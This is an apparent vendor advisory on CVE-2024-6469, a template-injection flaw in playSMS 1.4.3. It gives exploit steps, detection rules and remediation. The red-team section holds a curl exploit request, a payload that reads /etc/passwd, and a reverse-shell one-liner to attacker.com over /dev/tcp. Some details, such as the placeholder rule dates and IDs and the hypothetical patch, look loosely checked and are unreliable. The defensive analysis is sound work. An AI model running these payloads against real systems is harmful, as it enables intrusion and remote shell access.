CVE-2024-6469
Executive Summary
CVE-2024-6469 is a code injection vulnerability in playSMS version 1.4.3, specifically within the Template Handler component. The flaw resides in the /index.php?app=main&inc=feature_firewall&op=firewall_list endpoint, where the IP address argument is improperly sanitized. An attacker can inject arbitrary code by supplying a payload such as {{id}}, which is evaluated by the template engine. This allows for remote code execution (RCE) with the privileges of the web server user. The vulnerability has been publicly disclosed, and proof-of-concept (PoC) code is available. No official patch has been released by the vendor.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct flaw in the playSMS application source code. The risk is limited to organizations that deploy playSMS directly.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
- Base Score: 6.5 (Medium)
- Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
- Attack Complexity: Low (AC:L) – No special conditions are required.
- Privileges Required: None (PR:N) – No authentication is needed.
- User Interaction: None (UI:N) – No user action is required.
- Scope: Unchanged (S:U) – The exploit does not affect other components.
- Confidentiality Impact: Low (C:L) – Limited information disclosure.
- Integrity Impact: Low (I:L) – Limited modification of data.
- Availability Impact: None (A:N) – No denial of service.
Threat Level: Medium. The vulnerability is easy to exploit and has a public PoC, but the impact is limited to low confidentiality and integrity.
Deep Dive & Mechanics
The vulnerability is a classic Server-Side Template Injection (SSTI). The playSMS application uses a template engine (likely Twig or a similar PHP-based engine) to render dynamic content. The firewall_list feature accepts an IP address as input and passes it directly to the template engine without sanitization.
When an attacker supplies {{id}}, the template engine interprets the double curly braces as a template expression and executes the id command on the underlying operating system. This results in the output of the id command being embedded in the response.
Root Cause: The application fails to escape or validate user input before passing it to the template engine. The IP address parameter is not filtered for template syntax.
Attack Flow:
- Attacker sends a GET request to
/index.php?app=main&inc=feature_firewall&op=firewall_listwith theIP addressparameter set to{{id}}. - The application processes the request and passes the parameter value to the template engine.
- The template engine evaluates
{{id}}as a template expression, executing theidcommand. - The output of the
idcommand (e.g.,uid=33(www-data) gid=33(www-data) groups=33(www-data)) is returned in the HTTP response.
Vulnerable vs. Patched Code
Vulnerable Code (playSMS 1.4.3):
// In the firewall_list feature handler
$ip_address = $_GET['ip_address']; // No sanitization
$output = $template_engine->render('firewall_list', ['ip_address' => $ip_address]);
echo $output;
Patched Code (Hypothetical):
// Properly escape the input
$ip_address = htmlspecialchars($_GET['ip_address'], ENT_QUOTES, 'UTF-8');
$output = $template_engine->render('firewall_list', ['ip_address' => $ip_address]);
echo $output;
The patched version uses htmlspecialchars() to escape HTML entities, preventing the template engine from interpreting the input as code. Alternatively, the application should validate that the input is a valid IP address using filter_var($ip_address, FILTER_VALIDATE_IP).
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A target running playSMS 1.4.3 with the firewall feature enabled.
- Network access to the web interface.
Exploit Steps:
- Identify the vulnerable endpoint:
/index.php?app=main&inc=feature_firewall&op=firewall_list - Send a crafted request with the
IP addressparameter set to a template injection payload.
Example Request (using cURL):
curl -G "http://target.com/index.php?app=main&inc=feature_firewall&op=firewall_list" --data-urlencode "ip_address={{`id`}}"
Expected Response:
The response will contain the output of the id command, e.g., uid=33(www-data) gid=33(www-data) groups=33(www-data).
Advanced Payloads:
- Execute arbitrary commands:
{{cat /etc/passwd}} - Reverse shell:
{{bash -c 'exec bash -i &>/dev/tcp/attacker.com/4444 <&1'}}
Blue Team (Detection & Defense)
Detection:
- Monitor web server logs for requests to
/index.phpwithapp=main&inc=feature_firewall&op=firewall_listand suspiciousip_addressparameters containing{{or}}. - Use the YARA and Sigma rules provided in the Detection Engineering section.
Defense:
- Immediately restrict access to the vulnerable endpoint using a Web Application Firewall (WAF) rule that blocks requests containing
{{in theip_addressparameter. - If possible, disable the firewall feature until a patch is applied.
- Implement input validation to ensure the
ip_addressparameter is a valid IP address.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests to
/index.php?app=main&inc=feature_firewall&op=firewall_listwithip_addresscontaining{{or}}. - Outbound connections from the web server to attacker-controlled IPs on unusual ports (e.g., 4444 for reverse shells).
- HTTP requests to
File System IOCs:
- Unexpected files in the web root (e.g.,
/var/www/html/). - Modified system binaries or configuration files.
- Unexpected files in the web root (e.g.,
Process IOCs:
- Unusual processes spawned by the web server user (e.g.,
www-datarunningbash,nc, orpython).
- Unusual processes spawned by the web server user (e.g.,
Detection Engineering
YARA Rule
rule playSMS_SSTI_Exploit {
meta:
description = "Detects attempts to exploit CVE-2024-6469 in playSMS"
author = "Valters IT"
date = "2024-01-01"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-6469"
strings:
$ssti_pattern = "{{`" ascii wide nocase
$ssti_pattern2 = "{{" ascii wide nocase
$ssti_pattern3 = "}}" ascii wide nocase
$url_pattern = "/index.php?app=main&inc=feature_firewall&op=firewall_list" ascii wide nocase
condition:
all of ($url_pattern) and any of ($ssti_pattern*)
}
Sigma Rule
title: PlaySMS SSTI Exploitation Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests targeting the playSMS firewall_list endpoint with template injection payloads
author: Valters IT
date: 2024/01/01
references:
- https://nvd.nist.gov/vuln/detail/CVE-2024-6469
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains: '/index.php?app=main&inc=feature_firewall&op=firewall_list'
cs-uri-query|contains: '{{'
condition: selection
falsepositives:
- Legitimate use of template syntax in other contexts (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-6469 PlaySMS SSTI Exploit Attempt"; flow:to_server; content:"/index.php?app=main&inc=feature_firewall&op=firewall_list"; http_uri; content:"{{"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the firewall feature in playSMS configuration until a patch is available.
- Apply a WAF rule to block requests containing
{{in theip_addressparameter. - Restrict network access to the playSMS web interface to trusted IPs only.
Long-Term Fix:
- The vendor must release a patch that properly sanitizes user input before passing it to the template engine. The fix should include:
- Input validation to ensure the
ip_addressparameter is a valid IP address. - Output encoding to prevent template injection.
- Input validation to ensure the
- If no patch is forthcoming, consider migrating to an alternative SMS gateway solution.
Workaround:
- Modify the source code manually to add input validation and sanitization as shown in the "Vulnerable vs. Patched Code" section.
Valters IT
DevSecOps & Cyber Threat Intelligence